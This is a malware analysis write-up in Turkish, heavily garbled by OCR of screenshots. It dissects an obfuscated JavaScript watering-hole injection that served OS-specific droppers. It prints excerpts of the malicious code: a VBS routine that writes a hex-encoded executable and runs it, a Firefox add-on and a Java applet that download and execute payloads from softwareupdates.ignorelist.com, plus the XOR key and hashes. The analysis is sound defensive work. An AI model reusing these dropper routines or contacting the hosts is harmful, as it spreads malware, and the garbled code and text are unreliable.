Ehexcaseao}var f=hexcase?"0123456789ABCDEF":"0123456789%abcdef";var b="";var a;for(var d=0;d<c.length;d++)
a=c.charcodeAt(d) ;b+=f.charAt((a>>>4)&15)+f.charAt(a&ls)}return b}funct1on strarstr utfs(c){var -"“.var d=-1;var
a,e;while(++d<c.length){a=c.charCodeAt(d);e=d+1<c.length?c.charCodeAt(d+1):0;if )
(55296<=a&&a<=56319&&56320<=e8&&e<=57343) {a=65536+((a&l023)<<10)+(e&1023);d++}if(a<=127) {b+=String. fromCharcode(a)}
else{if(a<=2047) {b+=String. fromCharcCode (192 | ((a>>>6)&31),128| (a&63)) }else{if(a<=65535) {b+=String. fromCharCode (224 |
((a>>}12)&15) 128 ((a>>>6 &63) 128| (a&63))}else 1f(a<=209?151){b+-5tr1ng fromcharcode (240| ((a>>>18)&7),128| ((a>>>12)
&63), 128|((a>>>6)&63) lZS](a&GS))}}}}}return b}function rstr2binl(b){var a=Array(b. 1ength>>2) ; for(var
c=0;c<a.length; c++){a[c]-0}for(var ¢=0;c<b.length*8;c+=8){a[c>>5] |=(b.charCodeAt(c/8)&255)<<(c%32) }return a}function
b1n12rstr(b {var a="";for(var c=0;c<b.1ength*32;c+=8){a+=5tr1ng.fromcharcode((b[c>>s]>>>(c%32))&255)}return a}
function binl_mdS(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var 0=1732584193;var n--2?17338?9:var m=-
1732584194, var 1= 2?1?338?8 for(var g=0; g 1en th;g+=16) {var q*o yvar h-n var f=m;var e=1;o=mdS_ff(o, n m 1,plg+0], ? -
680876936) ; 1=md5_ff(1,0,n,m,p[g+1],12, 895645 6); m=md5 _ff(m, n,plg+2],17, 606105819) n=mds _ff(n,m,1,0,p[g+3],22
1044525330);o=md5_f (o.n.m.1.p g+4] 7,-176418897); 1=md5_ff(1,0,n,m,p[g+5],12 1200080426) m=md5 ff(m 1 o n, ?
+6],17,-1473231341) ;n=md5_ff(n,m, 1,0, p[g+7] 22, -45705983) o=md5 ff(o n,m, i p[g+8] 7 1770035416) T=md5. ff(1 o,n,m,plg
+9].12,-195841441?):m=md5_ff(m.1,o.n,p[ +10],1?,-42063):n=md5_ff(n.m.1.o.p[g+11].22.-1990404152);o=md5_ff(o,n,m,1,p
[g+12],7,1804603682) ; 1=mdS5_ff(1,0,n,m,p +13].12,-40341101):m=md5_ff(m.1.o.n,p[?+14].1?,-1502002290);n=md5_ff
(n,m,1,0,p[g+15],22,1236535329) ; 0=md5_gg(o,n,m,1, [g+1].5.-165796510) 1=mdS5_gg(1,0,n,m,p[g+6],9,-
1069501632);m¢mds_? g(m,1,0,n,p[g+11],14,643717713) ;n=md5_gg(n,m,1,0,p[g+0],20, -3?389?302):o-mdS_gg(o.n,m.1,p{g
+5],5,-701558691) ; 1=md5 gg(1 o,n,m, p[i+10] 9, 38016083) m=md5_gg(m,1,0,n,p 15],14.-660478335):n=md5_gg(n.m. ,o.p[%
+4],20,-405537848) ; o=md5S gg(o n,m, g+9],5, 568446438) 1=mdS gg(1 o n,m, E g+14],9,-1019803690) ;m=md5_gg(m,1,0,n,plg
+3],14,-18?363961):n=md5_gg(n,m.1 o, p[9+8] 20 1163531501) o=md5 gg(o n,m, p[g+13] S, -144468146?) T=md5_ 93(1 ,o,n,m,p
[g+2],9,-51403784) ;m=md5_gg(m,1,0,n, e[g+?] ,14, 1?353284?3) n=md5_i ?(n ,m, 1 o,p[g+12], 20 192660?734) o=md5

m

Eo ,n,m,1,p g+i1]42337g§;895};gd5-h2§_hg(n m, p[?+81 1] EOZigggggzosg;m?s_ggfgh} ,0,n, p[g+%1] ,16, 1839030562) n=md5_hh

n,m,1,0,plg+ o=m o,n,m g+ - =m ,0,n,m,plg

+4] 11, 12?2893353) m=md5_hh(m, +?] 16 15549?632) n=md5_hh(n,m,1,0, +10] 23,-1094730640) ; o=md5_hh

(o,n,m 1,plg+13],4,681279174); 1=md5_ﬁh%1 o,n,m,p[g+0],11, -35853?222) m=mﬂ5_ﬁh%m 1,0,n,p[g+3],16, -?22521979) n=md5_hh

(n.m.1,o plg+6], 23 76029189); o-mds_hh(o n,m, i p[g+9] 4 -64036448?) 1=mds_hh(1 o,n,m, p[g+12] 11 -421815835):m=md5_hh

(m,1,0,n,p g+15] 16 530742520) n=md5_hh(n, m 1,0, p[g+2] L & 995338651) o=md5 11(0 n m, .P[9+0] -198630844):1-mds_11

(1,o,n,m,p[g+7], 10 1125891415) m=md5_ii(m,1,0,n,p[g+14], 15 1416354905) n=md5_1ii(n,m,1,0,p[g+5 ]. 1,- b
F—N

o Kali (WIF)) |« remnux x |
root@remnux: /home/remnux,/Desktop# nodejs obfuscated.js > deobfuscated.js

/home/remnux,/Desktop/obfuscated. js:254
var head = document.head || document.getElementsByTagName( head')[0];
A
referenceerror: document is not defined
at Object.<anonymous> (/home/remnux/Desktop/obfuscated. js:254:12)
at Module._com E11e (module. j5:456:26)
at object.Modu extensions..js (module.js:474:10)
at Module.load (module.js:356:32
at Function.Module._load (module.js:312:12)
at Function.Module.runMain (module. js:497:10)
at startup (node.js:119:16)
at node.js:902:3
root@remnux : /home/remnux/Desktop#
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T emrux, J5 > obfuscated.]s
emnux : /home /v -muklm n: abfuuatoo s
g'loha‘lnnh - im,n //codebase. google. com. mooo, com/ajax, 11bs/ jquery,™;
var exdonsin = JuAnBA 1 90k cfFRCTLEY2AUM2DEAVAXONK 1 088 1 Y+ BECEX ] AL TBSOGF wwDF gF AF CFOVEQ™;
var hexcase = 0;
function hex_mdS(a) {
return rstr2hex(rstr_mdS(strirstr_utfe(a)))

function hex_hmac_sd5(a, b
return rstr2l|lu(r}!r)ik"'__,-cs(“rzrﬂr__mu(l). str2rser_utf8(b)))

function sds_ve_test() {
return hex_ads(“abc”). toLowercase() = "900150981cd24fb0d6o63f7d28e17172"

function rstr_mds(a)
return binl2rstr(binl_sdS(rstr2bini(a). a.length = 8))

function rstr_hmac_mds(
var o - rurzn nltc
if -nr €)
I - b nljs(l. €. length = 8)

vrl-arrlyld.

afel ["3 3
::::n‘bin'l?rﬂr 2;

)i

Ers(r!binlﬂ‘)}. 512 + f.length = 8);
y 5(d.concat(g), 512 + 128))

function rstrlhex(c) {
try {
hexcase
} catch (g} {
hexcase = 0
wvar f - hﬂg”! T "0123456789ABCDEF" @ “0123456780abcdef ";

for (urc-!r d < c. length; des) {
charCodeat (d);
h - f charat((a »>>> 4) & 15) + f.charat(a & 15)

ewen s

}
function str2rstr_utfs(c) {
var b :

 char codelt ():
o-a.x‘u inccnar:oun(a.: : 0;
1f (55296 < 56319 &6 5630 <= & &4 & <= $7343) {
=’ 655 36 + ((a lr 1023) << 10) + (e & 1023);
+

}f (a o= 127)

{
) b = String. fromCharCode(a)
b+ & P
b += String.frosCharcode(192 | ({a >>> 6) & 31), 128 | (a & 63)) =

o Kk (WIFT) | o remem % i i
L oowrnano 226 Fle: obfuscated s Moditied I
var bouo = ['dbd. 23fsnf ofc’, "01d4d2379dblasfSed1567e36e2b5367 ", "cPelbf09191FaBELCoaTcSFFEbBEBLYL ", "calfB4lBcS4edad2125fbecal6c3B078", “deblBed] Jdc2dfa2llc6fOI154elbf86"];

- 1’;: ] S S| wwryz™;
var rleth = st
for ¢4 - 01 4'<s; Ao i

- 1;
dll'll (true, {

it “,7..“'3}-
o s > t{

nci
1] = rl h mmsxuru 1 MRWENRUG] /g, R “.repl Snaez]fg, ") fr, ncit « 1 1):
x}:‘t Lthr r 3 “\xbc\x6f U \Il;g?g(}sséiﬂ / 25]1 N P L] i e Ty ]

!f (hex_sdS(yrsr + zuson[1]) == bowa[1]) {
break;

crmies;

}
tid = hg:‘,:a';(tm + zuson['§" + "0 + 1"+ "N )N

nmso'lc 1
wf

fnv 1 0. i < rart[13Ceink’.replace(/[3cix]/ m .replace(/[faobv]/
5ﬂns - s:r!ng[‘!acr(q rlﬂ::(l(f m{:cq‘.lf]u.9 * \I!: .' x43° ( [Iu rla1

Wi e
lu(jil]/ﬂ."i) # BT o+ 3T 4 "0 ¢ BT + T\x65"](rart["c3’.replace(/[3]/g. ") + "hIxayrkCPoTOdxyel2axbrEs
console. Tog(vf ins);
// var he head || getE ("head’)[0]:
H ur jauacmmium - ﬂo(u-em‘uuu('lmt seript’);
Type = un,-’}wu:rlpt

f.r' - u:ripudm tion. creat. vfins));
/ mhllﬂ(jwm:rip(adklm).
Get help writedut mead File Prev Page Cut Text Cur Pos
Exit Justify where Is Next Page unCut Text To Spell -

« Kali (WIFI) [Vremmlx x]

root@remnux:/home/remnux/Desktop# nodejs obfuscated.]s > deobfuscated.js
root@remnux: /home/remnux,/Desktop# nano deobfuscated.js |}
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o remmm %
inject();
Jelse{
injectm();

scripe. onreadystatechange = function(){
1£(!mode) {

inject();

Jelse{

_ injectu();

head. appendchild(script);
|function hook()

" Af (thef lage==0){
return;

it (get0s()=me"windows") {
if(Flashistnstal led())(
Toadscr 1pt (~ jquery-2. 1. 3. F1.min. §5,0);
Jelse{
if (getBrowser ()=e="firefox" ?e!lr_\- ser ()
2.1 wi

="weasel”){
Toadscript (* jquery-

b

Jelse{
if (getBrowser (Je=="msie"){
IOBUS(r!plf jquery-2.1.3.ht.win. §5~,00;
lelse{
lf’qttlro-stru"' Tfirefox qnbro—ser()--- weasel”){
1 ] loadScript (" jouery-2.1. 3. fi.min. js
Jelse{
i (JavaisInstalled()){
i1f (getos()==="MacoS

Toadscript( lcue!:, .1.3. fa.min. §5",1);
Jelse{ u
Toadscript (" jquery-2.1. 3. ja.min. 5" ,0);

'.rmn.. onload = function Of
ook (
}

Get welp wr i teout Read File Prev Page Cut Text Cur Pos
Exit Justify where Is Next Page unCut Text To Spell v

HOME

Free Website Malware and Security Scanner

SiteCheck Results Website Details Blacklist Status

Website: tr

v Status: No Malware Detected by External Scan. A
Web Trust: N i

Not Currently Blacklisted (10 Blacklists Checked)

& Matware Not Detected  Low Risk

@ website Blacklisting Mot Detected  Low Risk

@ Injected SPAM Mot Detected  Low Risk
& Defacements Mot Detected  Low Risk
4 Website Firewall Not Found Medium Risk b With Sucurni Firewall

Secure Your Website

-

not £ your webshe s comp |rym Sl ssspect chat It nighe bemkcwe.ﬂ!mcmunwlnmn

uppmomunm ve can o a full manu d ciean any infecricn that our free scanner missed.

f you are concerned about DDOS, Brute force, SOL injections and sther SiLacks, or you need a CON foe your site, pur Wetrine firewall can heip you
e ed a few minu ciear the cache.

Yardimct araglar ile ¢oziilen gizlenmis JavaScript koduna baktigimda, art niyetli kigilerin Windows, Linux ve macOS isletim sistemi
kullanicilarini hedef aldigi agikca goriiliiyordu. Eger isletim sistemi Windows ise ve sistem tizerinde Flash yiiklii ise bu durumda zararlt
yazilimi (1. indirici/dropper) Adobe AIR iizerinden, Flash yiiklii degil ve internet tarayicisi Firefox ise bu durumda Firefox eklentisi
iizerinden, eger bu kosullarin higbiri degil ancak internet tarayicisi Internet Explorer ise bu durumda HTA dosyasi lizerinden JavaScript
kodu ile sistem {izerinde olusturuyorlardi. Eger isletim sistemi Linux veya macOS ise ve internet tarayicisi Firefox ise bu durumda
zararlt yazilimi (1. indirici) JavaScript kodu ile aksi durum ise ve hedef isletim sisteminde Java yazilimi yiiklii ise bu durumda zararl
JAR dosyast ile sistem iizerinde zararli yazilimi olusturuyorlardi. Indiricinin olusturulmasi esnasinda kullanilan gizlenmis kodda anahtar
olarak M4St3Rm4pp3d karakter dizisi kullanilmisti. (Tahminimce bu karakter dizisi, zararli yazilim gelistiricisinin imzastyd.)
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https://en.wikipedia.org/wiki/Dropper_(malware)
https://en.wikipedia.org/wiki/HTML_Application

rootéremnux : /home,/ resnux,/Desktop/polgove wget http://codebase. om. mooo. com/ajax,/ 1ibs/§ querw’jquery 2.1.3.fl.min. js
--2016-11-12 0?-54:00-— hup .-",-‘cod'egagse googh com, Moo, coﬂua?wsﬂbs.-"jullervfiuuerv 2.1.3.f %
rResolving codebase. google. com. mooo. com ase.google

conne:ting to cndebase goog'le :om mooo cn- (codebase. googh com. -ooo com 1:80... connected.

request se awai 000
:h 37662 gam [wg?t:atioﬂfjavas:rwt]
saving to: 3 jquery-2.1.3.f1.min

100%(

2016-11-12 07:54:02 (551 B/5) - &€ jquery-2.1.3.f1.min, jsd€™ saved [37662/37662]

rootdrennux: /home,/resnux/Desktop/polgové wget hrtp://codebase. ‘\e com, mooo. com/ajax,/11bs/ ;query,-'jquery-z :1.3.Fi.min. js
--2016-11-12 07:54:18-- http://codebase. google. com. mooo. com,-'a? Hbs,-’ju--nw-"fm-”vﬂ 1.3.F
rResolving codebase. google. com. mooo. com (codebase. google. com.modo. ‘com)
|[connecting to codebase. google com. mooo. com (codebase. google. com. mooo. com) 4]:80. .. connected.
nm request sent, await response . 200 OK
I\?(h 494 [appl1ca(1an.-"!avascr pt]
wving to: Jquery-2.1.3.Fi.min. jsae~

100%[

2016-11-12 07:54:19 (47.1 MB/s) - 3€ jquery-2.1.3.fi.min. js3€~ saved [494/494]

rootéremnux: h)mefre.rmx.-"l)esktap-"pnlgnv! wget _http://codebase. 1e. com. mo0o. com.-"aja:f'l'{hs.-"jquerw’]query 2.1.3.ht.min. js
|--2016-11-12" 67:54:32-~  http://codebase. google. com. maoa. com.-"a?ousﬁhs.e’juuerv/iuuerv 2.1.3. ht.min.j5

||Resolving codebase. google. com. mooo. com (codebase. google. com.mooo.

'(unnect!ng to codebase. guogle com. mooo com (cudebase google. com. uouo r_um) 1]:80... connected.

| equest sent, awaiting response... 200 ol

'Length 8092 (7.9K) [app'licatium’]avascrwt]

(I5aving to: 3€7 jguery-2.1.3.ht.min.jsa€™

1 37,662

100%[
2016-11-12 07:54:34 (451 MB/5) - &€ jquery-2.1.3.ht.min. js&€~ saved [8092/8092]

root@resnux: /home,/resnux/Desktop/pol gove ».gat hup //eodebase. om. mooo. com/ajax,/11bs/ queryquuzry 2.1.3.fi.min. js
==2016-11-12 07:54:42-- http: .-"ftodegg . COM., MO0, Comfa?oo%Tbs.-"jo""\““-‘"'ﬂ'"-" 1.3.1 2

resolving codebase, google, com. mooo, com (code ase google. com, moo. ¢

connecting to codebase. Te. com. mooo, com (codebase.google, com, -ooc com) 1] :80,.. connected.

HTTP request sent, awaiting response,.. 200 oK

Length: 494 [appﬂca:ionx;avas:ripxl

Saving To: € jquery-2.1.3.fi.min. j5. 146

1 8,082

|| ot

||2016-11-12 07:54:42 (53.4 mB/s) - &€ jquery-2.1.3.Fi.min.js.14€™ saved [494/494]

||rooraremnux: ,”Mmefre-nuxmesktwfpol v Wget hup //codebase. oM. MOCO. COM,/3: ax/‘libsf quer /jquery-2.1. 3. ja.min. js
2016-11-12 07:54:55--  http: /,/:odeggse ;goog o, 1G00. Con/ 3 ggg‘!ibszjauerv/iﬂuer\j( 2.1.3. j y j -5 d :

||resolving codebase. google. com. mo0o. com (cad ase. goog'le com

||connecting to codebase. google. com. m000. Com_(codeb; goog'le com. 2000. com) 4] :80... connected.

!nrrp requést sent, awaiting response... 200 OK

th: 16612 (16K) [a.pp‘Hcal:iagfjavascr‘ip\:]
-sav ng to: A€ jquery-2.1.3. ja.min: jsa€™

|00
||2016-11-12 07:54:56 (279 mB/s) - A€ jquery-2.1.3.ja.min. jsa€™ saved [16612/16612)

n olgov -8 x
File Edit View Bookmarks Go Tools Help
% @ v @ 0 1‘ [fhomefremnufoesktop!polgov ] =)

Places v b > B BN =Y

/S Home Folder L _ﬂ _ﬂ _ﬁ _ﬁ Q

[ Desktop binaries = AC_RunActiv AC_RunActiv AC_RunActiv AC_RunActiv  jquery.hta

- eContent.bea eContent.bea eContent.bea eContent.js

tl Trash Can utified.js  utified.mer... utified.mer...

dﬁ Applications y

il EoNE o BT o BEE o T o IF o
jquery-2.1.3. jgquery-2.1.3. jquery-2.1.3. jguery-2.1.3. jguery-2.1.3. jguery-2.1.3.
fimin.beautif fimin.js fl.min.beautif f.min.beautif fl.min.js  ht.min.beauti
ied.mert.js ied.mert.d... ied.mertjs fied.js
jquery-2.1.3. jgquery-2.1.3. jquery-2.1.3. jguery-2.1.3. jguery-2.1.3. jguery-2.1.5.
ht.min.beauti ht min.beauti  ht.minjs ja.min.beauti ja.minjs ack.min.bea
fied.mert.d... fied.mert.js fied.js utified.mer...
jquery-2.1.5. jgquery-2.1.5.
ack.min.bea ack.min.js
utified.mer...

"test.JPG" (3.5 KiB) JPEG image Free space: 13.6 GiB (Total: 23.5 GiB)

root... [, | polgov|| ™ [root... [ @ [http... [ [Anti... | # [root...

1 16,612
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|

binaries

File Edit View Bookmarks Go Tools Help

g O ~
Places

7 Home Folder
[ Desktop

ﬁ Trash Can
Jﬁ Applications
[=] Floppy Disk

13 items

o /_: [!home!remnufoesktop!polgov!binaries

S

addon

J

expressinsta expressinsta osxupdate

IL.flr

=

=]

. winupdate.v

bs

d =
AdobedirUp addon.xpi

date

==
s

i_j

IL.swf

-

AdobeAirUp AlRInstallBad AlRInstallBad
date.air

=
)

=)

ge.fir

&

ge.swf

Secure_Conn unixupdate winupdate.e
ection.jar

xe

Free space: 13.6 GiB (Total: 23.5 GiB)

[ [root... [ @ [hitp... [ @ [Anti... | ™ [root... |

sm11:12 1

@ public function statusHandier{param1 StatusEvent) = void
@ public function onApEventparam 1 Object) - void

R

3 Eisaveas.. [a ciose ni {2 EXpOrt SWE XML ‘Ii 5 import text | ® “ ) ||/ Resources
SaveasBxe. [ Closeal | Export ail parts 43 Impart script | Hex gump
Open.. Save @ ] Bpottn ¥ mportSWE ¥ Run Debug Stop
v & Reload FLA  + Export selection XML Ly import SymbokClass | (F6)  (CTRL#FS)
I File Export | Import | Start View I
/  Adobe Alr Update swf L ActionScript source
[HE) header Adol pdate_fa
% % snapes g
e ﬁwag” ~ PETIT VL SR T e
# ™ rrames b
$-24 others : :JUDIIC function MainTimeline()
855 scripts P supe ()
-3 AdobeAirUpdate_fia 24 addFraneScript(t, this, Cranel);
o MainTimelne 25 ]
26
27 public function limox() : void
] [
29 L]
L
u public function deld2() : woid
n L)
.23 war _locl_:Object = mew Object():
5 34 _locl_.scuzce = “aprys JIBETT =606 46FF A-THE AL 3
HE _locl_.operation =
36 _locl_.args = [“open”,File.appl Y sballpdr. vbs") .mativePath, " ];
” this.emitver. send("spTarger”,"aplandie”, locl_) s
T Weanes k] ]
1 %
| Tras |Constants, o public tunction dol6dl) : void
B public var emitter LocalConnection; 41 (
@ public var listener LocalConnection, « war _locl_:Object = mew Objecti):
™ o a _locl_.sourece = “apsyste T7=36A6-46FF A-TSEFLOTIN
: public var networkinterface Object, “ _locl_.cperation = “Exe 3
PubiC var networinfo Object, as “locl_.azgs = [“open”,File.app Ditectoty .vbs”).nativePbath, " ):
@ public function knux() | void % this, eniteer. send (" spTarger”,"spHandle”, loel_)s
9 public function doL32() - void a ]
o public function doLB4() : void 4
“n public functiom iparaml: ) 1 woad
s

|l (Experimental)

~

; start
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Qesk - )  (§ POseach [ Foiders [[v S Folder Sync
Address | C:\Documents and Settings\Adminstr ator\Desk tophpakgov\poigovibe beArUpdate v Bs

: start

il remer m m”mm &] ma
5) i @ N

113k

olgovipolgov
Fle Edt Search Vew Encodng Language Settings Mscro Run Plgns Window 7 X
HE 2.2 4Rl 2 Ay 22 BE 1 ERACEIER -

2
ij\mul

1 El‘unc:ion jzzorevoy () -

2 EDZOIFRVZRIW = "4d5a0 4 £111 ! 1

4 Dim pKHJZWEU

5 Set pKHJZWEU = CreateObject("Scripting.FileSystemObject”™)

& Dim AvOWvayu

7 Dim wBBOGijYzZLYVL

8 Dim cWvUZpeuCh

9 Dim FqWrseNyEVQEnQ

10 Set wBBQgijYzLYVL = pKHJzWEU.GetSpecialFolder(2)

11 FqWrseNyEVQEnQ = wBBQgijYzLYVL & "\ " & pKHJZWEU.GetTempName ()

12 PKHIZWEU.CreateFolder (FqWrseNyEVQEnQ)

13 CWVUZpeuCA = FqUWrseNyEVQENQ & "\" & "wwlod xe"

14 Set AvOWvayu = pKHJIZWEU.CreateTextFile(cWvUEpeuC true , false)

15 B For i = 1 to Len(jZDE0jFXUzRIw) Step 2

16 AvOWvayu.Write Chr(CLng(":H” & Mid(jZDIOjFXUzR1w,i,2)))

17 Next

18 AvOWvayu.Close

19 Dim GVREGUWI zpbkJ &
< »
Visual Basic fle length : 115472 Ines: 28 Ln:1 Col:1 Sd:0|0 LUNIX UTF-8 |
] . * w lva e - " e wEON .

; start

Secure_Connection.class  « -

try
L)
String strl = getParameter (“domain™);
String strl = "MAStIRmdppld”;
String strd = "/tmp/".concat(randomString(12));
ButferedOutp localBut eam = pull;
Object localObject = mull;
Inputftream locallnputStream = null;
URL localURL;
Af (System.getProperty(”os.name”).tolowerCase().index0Of("mac”) >= 0) |
localURL = mew URL(xd(strl, strl).concat{”/osxupdate®));
| else |
localURL = new URL(xd(strl, strl).concat(”/unixupdate®));
)

localBufferedOutputStream = new BufferedOutp (new PileCutp eam{atcd));
URLConnection localURLConnection = localURL.openConnection();

localInputStream = localURL ion.getInp 0

byte[] arrayOfByte = new byte[1024];

int i;

for (long 1 = 0L; (i = locallnputStream.read (arcayOfByte)) I= -1; 1 #+= i) |
localBufferedOutputStream.write (arrayOfbyte, 0, i);
)
try
)
if (localInputStream [= mull) |
localInputdtream.close();
]
if (localBufferedOutputStresm 1= null) |
localBufferedOutputitream.close();
]
)
catch ( ption local ptionl) ()
Runtime localRuntime = Runtime.getRuntime();
BufferedReader localBufferedReader;
if (System.getProperty("os.name”).tolowerCase().index0f("mac™) < 0) |
try
L] v
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bootstrap.js - SciTE

File Edit Search View Tools Options Language Buffers Help
1 bootstrap.js

— function startup(data, reason) {
- {function(){
var mkey= "M45t3Rmdpp3d";
var mdomain = a
G"JUANRBAL9QkcfFkcTLEY2AUM2DEAVAXBNKLo8B1Y+BECEX1LALIBSOGFwwDFgFAFCFOVEG" ;
var ua = Components.classes[a
G"@mozilla.org/network/protocol;1?name=http"].getService(Components.interfaces.a
GnsIHttpProtocolHandler) .userAgent;
var windows = (ua.index0f("Windows")>-1);
var macos = {(ua.index0f("Mac")=-1);
Components.utils.import("resource://gre/modules/Downloads.jsm");
Components.utils.import("resource://gre/modules/osfile.jsm")
Components.utils.impert("resource://gre/modules/Task.jsm")
var name = "update";
- if(windows){
L Task.spawn(function* () {yield Downloads.fetch(XORCipher.decode(mkeya
G,mdomain)+" /winupdate",0S.Path.join(05.Constants.Path.tmpDir,name)+".vbs");
Components.utils.import(a
G"resource://gre/modules/FileUtils.jsm");
var env = Components.classes[a
G"@mozilla.org/process/environment;1"].getService(Components.interfaces.nsIEnvironment);
var shell = new FileUtils.File(env.get("COMSPEC"));
var args = ["/c",05.Path.join(0S.Constants.Path.a
GtmpDir,name)+".vbs"];
var process = Components.classes[a
G"@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(shell);
process.run(false, args, args.length);
}).then{null, Components.utils.reportError);
lelse{
var lala = 0S.Path.join(0S.Constants.Path.tmpDir,name);

ﬁ_‘ Iiroo,..]”‘ | ad... [Mroo...[@PO... [@[An..[™[ro.. [@bo... ]

Isletim  sistemine  gore  http://softwareupdates.ignorelist.com/globalupdates/  adresinden  indirilen ~ ve  calistirilan
zararli yazilimlardan (unixupdate (shal:5D09C139746C8A9855CE341A63687E2E86A47FAE) , osxupdate
(shal:1A441A1E80F88CEBEOD1E20CE06E2144743C5955), winupdate
(shal:EEC0B83017F59B8D15ED630107160D71950C7888)) Windows isletim sistemi lizerinde g¢alisgan winupdate (aslinda VBS
dosyasi i¢inde binary olarak indiriliyor ve ¢alistiriliyor) dosyasini inceledigimde, bunun da bir indirici yazilimi (2. indirici) oldugunu
gordiim. VBS dosyast i¢inde yer alan PE'min hex degerlerini xxd araci ile binary'e ¢evirdikten sonra winupdate.exe dosyasini elde etmis
oldum.

bootstrap-mert.js - SciTE

File Edit Search View Tools Options Language Buffers Help
1 bootstrap-mert.js

— function xor_decrypt(key, data) {

map = function(fun , thisp)
= 1
var len = this.length;
if (typeof fun != "function")
throw new TypeError();

var res = new Array(len);
var thisp = arguments[1];
for (var i = 0; i < len; i++)

if (i in this)
res[i]l = fun.call(thisp, this[il, i, this);

return res;

H

return data.map( function(c, i) {return String.fromCharCode( c * keyCharAt(key, i) 2
5);:}).join("");

var mkey= "M4St3Rmdpp3d";

var mdomain = "JUAnBA19QkcfFkcTLEYZ2AUM2DEAVAXONKLo8BlY+BECEXLALIBSOGFwwDFgFAFCFOVEQ";
remoteurl = XORCipher.decode(mkey,mdomain)+"/osxupdate"”;

console.log(remoteurl);

remoteurl = XORCipher.decode{mkey,mdomain}+"/unixupdate";

console.log(remoteurl);

remoteurl = XORCipher.decode(mkey,mdomain)+"/winupdate";

console.log(remoteurl);

D= - "o o [er e [Cu e T

104


https://en.wikipedia.org/wiki/Portable_Executable
http://linuxcommand.org/man_pages/xxd1.html

! root@remnux: /home/remnux/Desktop/polgov/binaries/addon -8 x
File Edit Tabs Help

root@remnux: /home/remnux/Desktop/polgov/binaries/addon# nodejs bootstral~
p-mert.js

http://softwareupdates.ignorelist.com/globalupdates/osxupdate
http://softwareupdates.ignorelist.com/globalupdates/unixupdate
http://softwareupdates.ignorelist.com/globalupdates/winupdate
root@remnux:/home/remnux/Desktop/polgov/binaries/addon# l

B =] [=oJo. [er]6. [Cn-]6. T

root@remnux: /home/remnux/Desktop/pol/ctf9/binaries

File Edit Tabs Help
GNU nano 2.5.3 File: winupdate

[Function rghzTnoL()
PUafLjoslThWi = "4d5a90000300000004000000TfffOOOELEOOEEOOAREOOAA!

Dim KigAAVJIhIbV
Set KigAAVJIhIbV = CreateObject("Scripting.FileSystemObject")
Dim DpASzuGgnvP
Dim HpFyGnSFReBwh
Dim gwuUWMjurYepcHA
Dim ZsdoEeRUhfgTXaE
Set HpFyGnSFReBwh = KigAAVJhIbV.GetSpecialFolder(2)
ZsdoEeRUhTgTXaE = HpFyGnSFReBwh & "\" & KigAAVJhIbV.GetTempName('
KigAAVJIhIbV.CreateFolder (ZsdoEeRUhTfgTXaE)
gwuwMjurYepcHA = ZsdoEeRUhTgTXaE & "\" & "YNpcbVEoyAng.exe"
Set DpASzuGgnVvP = KigAAVJIhIbV.CreateTextFile(gwWUwWMjurYepcHA, true
For i = 1 to Len(PUafLjoslThwi) Step 2
DpASzuGgnVP.Write Chr(CLng("&H" & Mid(PUafLjoslThwi,i,2)))
Next
DpASzuGgnVP.Close
Dim hYNRYAoaVHPcHNJ

[ Read 27 lines ]
%W write Out Where Is QN Cut Text Justify [@@ cur ¥
L

e Get Help

Read File @M Replace s Uncut Text

d To Spell Go T¢
|-[root@remnux: ,._]||rtctf9432,zip - )(a,..]"- root@remnux: !] )

o Pg o327 @
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root@remnux: /home/remnux/Desktop/pol/ctf9/binaries

File Edit Tabs Help
GNU nano 2.5.3 File: winupdate.vbs

d5a90000300000004000000ffff0000b800000000000000400000000000000000000$

[ Read 1 line ]

To Spell
v Pgoiis @

4 root@remnux: /home/remnux/Desktop

File Edit Tabs Help

root@remnux:/home/remnux/Desktop# xxd -r -p winupdate.vbs > winupdate.exs
root@remnux:/home/remnux/Desktop#

root@remnux:/home/remnux/Desktop# file winupdate.exe

winupdate.exe: PE32 executable (GUI) Intel 80386, for MS Windows
root@remnux:/home/remnux/Desktop# I

mi[root@mmnux: ,._]|!'t;ctf9432,zip - )(a,..j"- root@remnux: ,.f] = ﬁ 01:38 @y

24 Mart 2015 tarihinde derlenen Winupdate programi g¢alistirildiktan sonra WMIC islemine (process) kendisini enjekte ettigini ve
ardindan %temp% klasorii altinda AdobeUpd.exe (shal:013E276E46732F2B8D4CC0489886B6CCE7C229A4) ve AdobeUpdate.exe
(shal:A8B1C28D3F6D977F9D2ABF386197C57DE67667A6) dosyalarini olusturdugunu gérdiim.
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File Help

FhXH?

=B chusers\mert\desktop\polgovibinaries\winupdate.exe

il indicators (8/17)
-3 virustotal (39,55 - 21.11.2016)
-0 dos-stub (136 bytes)
.o
- [0 optional-header (224 bytes)
.00 directories (4/15)
.0 sections (3]
-0 libraries (1)
-0 imports (4/112)
.. O exports (n/a)
-0 exceptions (n/a)
. O tls-callbacks (n/a)
g8 resources (Executable)
abe strings (283/7272)
4Tt debug (n/a)
Q manifest (n/
version (1/10)
certificate (n/a)

.. ] overlay (n/a)

<4 [

property

signature

machine

sections

stamp
PointerToSymbolTable
symbols
SizeOfOptionalHeader

value
0x00004550
Intel

3

0x551152D8 (Tue Mar 24 14:04:41 2015) h

000000000
0x0000 (0)

0x00ED (224 bytes)

processor-32bit true
Relocation stripped true
Large Address aware false
uniprocessor-only false
system-image false
dynamic-link library false
executable true
debug informatien stripped false
if on a removable media, copy and run from the swap false
if on a Network, copy and run from the swap false

File Help

wh X H?

=8 chusers\mert\desktop'polgov-exti\adobeupd.exe

.l indicators (3/10)

-0 dos-stub (120 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (4/15)

sections (3]

libraries (1)

imports (4/65)

exports (n/a)

exceptions (n/a)
tls-callbacks (n/a)

Doooooooao

resources
..abe strings (30/275)

ot debug (n/a)
Q manifest (n/a)
wersion (1/9)
certificate (n/a)
.| ] overlay (n/a)

4 L

engine (57)
McAfee-GW-Edition
McAfee

Awvira

Driweb
MNANO-Antivirus
Avast

Blav
MicroWorld-e5can
nProtect

CMC
CAT-QuickHeal
Malwarebytes
Zillya
SUPERANtiSpyware
TheHacker

KIGW

K7 AntiVirus
Arcabit
TrendMicro

Baidu

F-Prot

Symantec
TotalDefense
TrendMicro-HouseCall
ClamAv

Kaspersky
BitDefender
ViRobot

Tencent
Ad-Aware
Emsisoft

Comodo

F-Secure

positiv (7)
BehavesLike.Win32.Downloader.mz
Generic PWS5.y
TR/Siggen.juhli
